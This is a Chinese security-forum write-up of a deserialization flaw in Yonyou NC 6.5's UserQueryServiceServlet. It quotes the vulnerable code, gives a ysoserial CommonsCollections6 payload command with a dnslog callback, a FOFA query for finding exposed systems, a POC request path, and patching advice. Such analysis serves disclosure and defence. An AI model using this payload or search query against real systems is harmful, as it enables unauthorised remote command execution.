问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友NC UserQueryServiceServlet反序列化漏洞分析
区块链安全
用友NC系统UserQueryServiceServlet方法存在反序列化漏洞,攻击者可执行任意命令,获取敏感信息
一、漏洞简介 ------ 用友NC系统`UserQueryServiceServlet`方法存在反序列化漏洞,攻击者可执行任意命令,获取敏感信息。 二、影响版本 ------ 用友NC6.5 三、漏洞原理分析 -------- 漏洞位于`UserQueryServiceServlet`接口处,在包名称为`uapim`的目录下  文件路径为`nc.bs.pub.im.UserQueryServiceServlet`  关键代码如下 ```php protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ObjectInputStream in = new ObjectInputStream((InputStream)request.getInputStream()); HashMap<Object, Object> params = new HashMap<>(); ObjectOutputStream oos = new ObjectOutputStream((OutputStream)response.getOutputStream()); HashMap<Object, Object> result = new HashMap<>(); try { params = (HashMap<Object, Object>)in.readObject(); ``` 此次POST请求时,读取了输入流,之后对输入流方法进行`in.readObject()`造成了反序列化漏洞 来到具体的请求URL上面,要调用`UserQueryServiceServlet`类,只要在请求路由加上`/~包名称`+`UserQueryServiceServlet`类的完整路径即可 查看系统的`Web.xml`,可以看见请求`/service`和`/servlet`前缀的都经过`NCInvokerServlet`方法处理  `NCInvokerServlet`方法主要功能是获得url路径后,如果是以`/~`开头,截取第一部分为`moduleName`,然后再截取第二部分为`serviceName`,再根据`getServiceObject(moduleName, serviceName)`实现任意Servlet的调用。 这里包名称是`uapim`,再加上方法的完整路径就能进行请求了 回到漏洞,这里测试使用`ysoserial-all.jar`生成`cc6`的利用链请求dnslog,保存到本地的c.bin文件中 ```php java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin ``` 再读取c.bin文件请求即可  接收到请求记录  四、总结 ---- 用友NC系统`UserQueryServiceServlet`接口的方法中直接解析输入流造成了反序列化漏洞,攻击者可以构造执行任意的命令。 五、资产测绘 ------ FOFA语法 ```php app="用友-UFIDA-NC" ```  六、漏洞复现 ------ POC ```php POST /servlet/~uapim/nc.bs.pub.im.UserQueryServiceServlet HTTP/1.1 Host: Accept-Encoding: gzip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 反序列化POC ``` 这里用`ysoserial-all.jar`生成`cc6`的利用链请求dnslog,保存到本地的c.bin文件中 ```php java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin ``` 再读取c.bin文件请求即可  接收到请求记录  七、修复建议 ------ 安装用友NC最新的补丁并更新到最新版本,对接口添加身份信息验证并修改对应的方法逻辑。
发表于 2025-06-25 09:00:01
阅读 ( 170 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
chobits
10 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!